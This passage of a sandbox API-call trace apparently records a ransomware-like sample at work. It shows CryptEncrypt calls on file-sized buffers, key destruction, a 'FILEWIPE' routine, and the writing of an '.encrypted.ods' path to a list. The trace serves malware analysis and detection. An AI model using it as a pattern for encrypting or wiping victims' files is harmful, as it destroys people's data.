lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0024.558] PeekMessageW (in: lpMsg=0xe8f3dfdeb0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfdeb0) returned 0 [0024.558] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0024.558] CryptEncrypt (in: hKey=0xe8f4062330, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0, pdwDataLen=0xe8f3dfdf68*=0x130c5, dwBufLen=0x0 | out: pbData=0x0, pdwDataLen=0xe8f3dfdf68*=0x130d0) returned 1 [0024.558] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.558] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.558] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.558] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.558] CharLowerBuffW (in: lpsz="byte[78033]", cchLength=0xb | out: lpsz="byte[78033]") returned 0xb [0024.558] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.560] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.560] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0024.560] PeekMessageW (in: lpMsg=0xe8f3dfdeb0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfdeb0) returned 0 [0024.561] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0024.561] CryptEncrypt (in: hKey=0xe8f4062330, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xe8f41f9c40*, pdwDataLen=0xe8f3dfdf68*=0x130c5, dwBufLen=0x130d0 | out: pbData=0xe8f41f9c40*, pdwDataLen=0xe8f3dfdf68*=0x130d0) returned 1 [0024.561] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.561] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.561] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.562] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.562] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.562] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.562] CharUpperBuffW (in: lpsz="_CRYPT_SHUTDOWN", cchLength=0xf | out: lpsz="_CRYPT_SHUTDOWN") returned 0xf [0024.562] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0024.562] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTDEC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTDEC") returned 0x13 [0024.562] PeekMessageW (in: lpMsg=0xe8f3dfe120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe120) returned 0 [0024.562] PeekMessageW (in: lpMsg=0xe8f3dfe120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe120) returned 0 [0024.562] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0024.562] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0024.562] PeekMessageW (in: lpMsg=0xe8f3dfde30, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfde30) returned 0 [0024.562] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0024.562] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0024.562] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.566] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0024.566] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0024.566] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0024.568] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0024.568] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0024.568] CharUpperBuffW (in: lpsz="_CRYPT_DESTROYKEY", cchLength=0x11 | out: lpsz="_CRYPT_DESTROYKEY") returned 0x11 [0024.568] PeekMessageW (in: lpMsg=0xe8f3dfe990, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe990) returned 0 [0024.568] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0024.568] PeekMessageW (in: lpMsg=0xe8f3dfe0f0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe0f0) returned 0 [0024.568] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0024.568] CryptDestroyKey (hKey=0xe8f4062330) returned 1 [0024.568] PeekMessageW (in: lpMsg=0xe8f3dfe990, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe990) returned 0 [0024.568] PeekMessageW (in: lpMsg=0xe8f3dfe990, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe990) returned 0 [0024.568] CharUpperBuffW (in: lpsz="_CRYPT_SHUTDOWN", cchLength=0xf | out: lpsz="_CRYPT_SHUTDOWN") returned 0xf [0024.568] PeekMessageW (in: lpMsg=0xe8f3dfe670, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe670) returned 0 [0024.568] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTDEC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTDEC") returned 0x13 [0024.568] PeekMessageW (in: lpMsg=0xe8f3dfe350, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe350) returned 0 [0024.568] PeekMessageW (in: lpMsg=0xe8f3dfe350, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe350) returned 0 [0024.568] PeekMessageW (in: lpMsg=0xe8f3dfe670, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe670) returned 0 [0024.568] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0024.568] PeekMessageW (in: lpMsg=0xe8f3dfe060, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe060) returned 0 [0024.568] PeekMessageW (in: lpMsg=0xe8f3dfe670, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe670) returned 0 [0024.569] PeekMessageW (in: lpMsg=0xe8f3dfe670, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe670) returned 0 [0024.569] PeekMessageW (in: lpMsg=0xe8f3dfe990, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe990) returned 0 [0024.569] PeekMessageW (in: lpMsg=0xe8f3dfe990, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe990) returned 0 [0024.569] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0024.569] CharUpperBuffW (in: lpsz="_CRYPT_SHUTDOWN", cchLength=0xf | out: lpsz="_CRYPT_SHUTDOWN") returned 0xf [0024.569] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0024.569] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTDEC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTDEC") returned 0x13 [0024.569] PeekMessageW (in: lpMsg=0xe8f3dfe800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe800) returned 0 [0024.569] PeekMessageW (in: lpMsg=0xe8f3dfe800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe800) returned 0 [0024.569] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0024.569] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0024.569] PeekMessageW (in: lpMsg=0xe8f3dfe510, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe510) returned 0 [0024.569] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0024.569] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0024.569] PeekMessageW (in: lpMsg=0xe8f3dfe5a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe5a0) returned 0 [0024.569] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXT", cchLength=0xf | out: lpsz="__CRYPT_CONTEXT") returned 0xf [0024.569] PeekMessageW (in: lpMsg=0xe8f3dfe5a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe5a0) returned 0 [0024.569] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0024.569] CryptReleaseContext (hProv=0xe8f40632e0, dwFlags=0x0) returned 1 [0024.569] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0024.569] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0024.569] PeekMessageW (in: lpMsg=0xe8f3dfe5a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe5a0) returned 0 [0024.569] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0024.569] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0024.569] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0024.570] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0024.571] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0024.572] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0024.572] CharUpperBuffW (in: lpsz="FILEWIPE", cchLength=0x8 | out: lpsz="FILEWIPE") returned 0x8 [0024.572] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0024.573] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0024.573] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0024.573] CharLowerBuffW (in: lpsz="byte[78021]", cchLength=0xb | out: lpsz="byte[78021]") returned 0xb [0024.574] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0024.574] CharUpperBuffW (in: lpsz="MEMSET", cchLength=0x6 | out: lpsz="MEMSET") returned 0x6 [0024.574] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0024.574] CharLowerBuffW (in: lpsz="ptr:cdecl", cchLength=0x9 | out: lpsz="ptr:cdecl") returned 0x9 [0024.574] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0024.574] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0024.575] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0024.575] CharUpperBuffW (in: lpsz="_WINAPI_CREATEFILE", cchLength=0x12 | out: lpsz="_WINAPI_CREATEFILE") returned 0x12 [0024.575] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.575] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.575] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.575] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.575] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.575] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.575] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.575] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.575] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.575] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.575] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.575] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.575] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.575] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.575] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.575] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.575] CharLowerBuffW (in: lpsz="handle", cchLength=0x6 | out: lpsz="handle") returned 0x6 [0024.575] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.575] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.575] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0024.575] CharUpperBuffW (in: lpsz="_WINAPI_WRITEFILE", cchLength=0x11 | out: lpsz="_WINAPI_WRITEFILE") returned 0x11 [0024.575] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0024.575] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0024.576] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0024.576] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0024.576] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0024.576] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0024.576] CharUpperBuffW (in: lpsz="_WINAPI_CLOSEHANDLE", cchLength=0x13 | out: lpsz="_WINAPI_CLOSEHANDLE") returned 0x13 [0024.576] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0024.576] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0024.576] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0024.576] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0024.576] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0024.577] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0024.577] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0024.577] CharUpperBuffW (in: lpsz="_GETFILENAMEEXEXT", cchLength=0x11 | out: lpsz="_GETFILENAMEEXEXT") returned 0x11 [0024.577] PeekMessageW (in: lpMsg=0xe8f3dfebe0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfebe0) returned 0 [0024.577] PeekMessageW (in: lpMsg=0xe8f3dfebe0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfebe0) returned 0 [0024.577] PeekMessageW (in: lpMsg=0xe8f3dfebe0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfebe0) returned 0 [0024.577] PeekMessageW (in: lpMsg=0xe8f3dfebe0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfebe0) returned 0 [0024.577] PeekMessageW (in: lpMsg=0xe8f3dfebe0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfebe0) returned 0 [0024.577] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0024.577] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0xe8f3dff0c0, dwMoveMethod=0x1 | out: lpNewFilePointer=0xe8f3dff0c0*=3737) returned 1 [0024.577] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0024.577] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0xe8f3dff070, dwMoveMethod=0x1 | out: lpNewFilePointer=0xe8f3dff070*=0) returned 1 [0024.577] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0xe8f3dff060, dwMoveMethod=0x1 | out: lpNewFilePointer=0xe8f3dff060*=0) returned 1 [0024.577] ReadFile (in: hFile=0x188, lpBuffer=0xe8f41a09b0, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0xe8f3dff0a0, lpOverlapped=0x0 | out: lpBuffer=0xe8f41a09b0*, lpNumberOfBytesRead=0xe8f3dff0a0*=0xe99, lpOverlapped=0x0) returned 1 [0024.578] ReadFile (in: hFile=0x188, lpBuffer=0xe8f41a09b0, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0xe8f3dff0a0, lpOverlapped=0x0 | out: lpBuffer=0xe8f41a09b0*, lpNumberOfBytesRead=0xe8f3dff0a0*=0x0, lpOverlapped=0x0) returned 1 [0024.578] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0xe99, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0024.578] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0xe8f3dff070, dwMoveMethod=0x1 | out: lpNewFilePointer=0xe8f3dff070*=3737) returned 1 [0024.578] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="C:\\Users\\5JgHKoaOfdp\\Documents\\FW U\\iXosKeRIaoImk.encrypted.ods\r\n", cchWideChar=66, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 66 [0024.578] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="C:\\Users\\5JgHKoaOfdp\\Documents\\FW U\\iXosKeRIaoImk.encrypted.ods\r\n", cchWideChar=66, lpMultiByteStr=0xe8f4051c20, cbMultiByte=66, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\5JgHKoaOfdp\\Documents\\FW U\\iXosKeRIaoImk.encrypted.ods\r\n", lpUsedDefaultChar=0x0) returned 66 [0024.578] WriteFile (in: hFile=0x188, lpBuffer=0xe8f406a310*, nNumberOfBytesToWrite=0x41, 